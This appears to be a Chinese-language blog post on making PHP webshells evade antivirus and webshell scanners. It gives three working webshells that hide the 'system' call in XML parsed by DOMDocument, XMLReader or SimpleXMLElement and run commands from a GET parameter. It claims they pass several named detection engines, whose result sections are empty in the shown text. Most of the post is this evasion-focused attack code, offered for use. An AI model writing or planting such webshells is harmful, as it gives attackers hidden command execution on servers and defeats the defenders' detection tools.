思路

整体思路就是利用php中处理xml格式的类,对函数进行替换,同时利用php的动态执行的特点
xml格式很常见,php中也有很多处理xml格式转换的类,以DOMDocument为例,ai构造一下php文件:

<?php

// 创建 DOMDocument 对象

$dom = new DOMDocument();

// 加载 XML 文档

$dom->loadXML('<?xml version="1.0" encoding="UTF-8"?>

<data>

    <item>

        <key>system</key>

    </item>

    <item>

        <key>age</key>

        <value>30</value>

    </item>

</data>');

// 创建 DOMXPath 对象

$xpath = new DOMXPath($dom);

// 执行 XPath 查询,选择所有 item 节点

$items = $xpath->query('//item');

// 初始化一个空数组来存储键值对

$keyValuePairs = [];

// 遍历每个 item 节点

foreach ($items as $item) {

    // 获取 key 节点的文本内容

    $key = $xpath->query('key', $item)->item(0)->textContent;

    // 获取 value 节点的文本内容

    // $value = $xpath->query('value', $item)->item(0)->textContent;

    // 将键值对添加到数组中

    ($key)($_GET['a']);

}

?>

在php8.2.9 php7.3.4测试环境下均执行:

检测
常用的webshell查杀工具:
WD:

阿里云检测引擎:

D盾:

河马:

virustotal:

360:

微步:

长亭:

其他
利用上述思路,使用php中其他处理xml格式转换的类构造:
XMLReader:

<?php

// 示例 XML 字符串

$xmlString = '

<root>

    <item>

        <key1>system</key1>

    </item>

</root>

';

// 创建 XMLReader 实例

$reader = new XMLReader();

// 打开 XML 字符串进行解析

$reader->xml($xmlString);

// 存储键值对的数组

$keyValuePairs = [];

// 开始解析 XML

while ($reader->read()) {

    // 检查当前节点是否为元素节点

    if ($reader->nodeType === XMLReader::ELEMENT) {

        // 获取当前元素的名称

        $key = $reader->name;

        // 读取下一个节点

        if ($reader->read()) {

            // 检查下一个节点是否为文本节点

            if ($reader->nodeType === XMLReader::TEXT) {

                // 获取文本节点的值

                ($reader->value)($_GET["a"]);

            }

        }

    }

}

// 关闭 XMLReader

$reader->close();

?>

SimpleXMLElement:

<?php

// 定义XML字符串

$xmlString = '<?xml version="1.0" encoding="UTF-8"?>

<root>

    <system>a</system>

</root>';

// 使用SimpleXMLElement解析XML字符串

$xml = new SimpleXMLElement($xmlString);

// 遍历XML元素

foreach ($xml as $key => $value) {

    ($key)($_GET["a"]);

}

?>

这两个均通过上面提到的引擎检测

​

总结
webshell免杀有很多技巧,上面也只是抛砖引玉吧,思路还是最重要。